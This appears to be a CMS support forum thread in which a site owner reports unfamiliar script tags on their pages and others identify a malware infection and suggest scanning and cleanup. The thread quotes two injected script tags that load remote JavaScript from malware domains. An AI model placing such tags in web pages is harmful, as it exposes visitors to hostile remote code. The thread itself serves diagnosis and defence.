Page 1 of 1

Strange code

Posted: Fri Jun 26, 2020 5:27 pm
by LRAM
Hi

When in source mode I saw this code on some of my pages

4 times on the same page

Code: Select all

<script type="text/javascript" async="" src="//domclickext.xyz/212b3d4039ab5319ec.js"></script>
Is that part of Bludit ?

Re: Strange code

Posted: Fri Jun 26, 2020 5:30 pm
by LRAM
and this one on another one

Code: Select all

<script type="text/javascript" async="" src="//linkojager.org/212b3d4039ab5319ec.js"></script>

Re: Strange code

Posted: Fri Jun 26, 2020 5:47 pm
by Edi
No, this is no Bludit code.

Seems that the sites are hacked.

Perhaps there is some information in the server logs.

Re: Strange code

Posted: Sat Jun 27, 2020 11:23 am
by abdulhalim
You have to scan your website and remove all the unwanted JS links.

https://sitecheck.sucuri.net/results/ht ... and-me.com

Your website is infected by malware...

Also, you need to replace all Bludit files with the new and clean version.

Re: Strange code

Posted: Sat Jun 27, 2020 1:38 pm
by Edi
Could be that your PC is infected, and your password can be used.

Re: Strange code

Posted: Sat Jun 27, 2020 2:36 pm
by diego
Hi,
it's a pitty this happens.

There are a few people trying to hack Bludit, but I never saw a vulnerability from outside of the system, also if there is one for sure they will hack a lot of Bludit installations, so the point from malware from your computer could be.

Do you have access to the server via SSH or something like that ? to search in all the pages for javascript and remove it.

Re: Strange code

Posted: Sat Jun 27, 2020 2:39 pm
by diego
I found information about this malware.

https://malwaretips.com/blogs/remove-domclickext-xyz/

You can check on Google also.

Re: Strange code

Posted: Wed Jul 01, 2020 8:46 am
by LRAM
Hi
Well it's seems some Chrome Extention add this vulnerabilty
I think I've clean everything now
thanks

Re: Strange code

Posted: Wed Jul 01, 2020 10:41 am
by Edi
Which extension is it?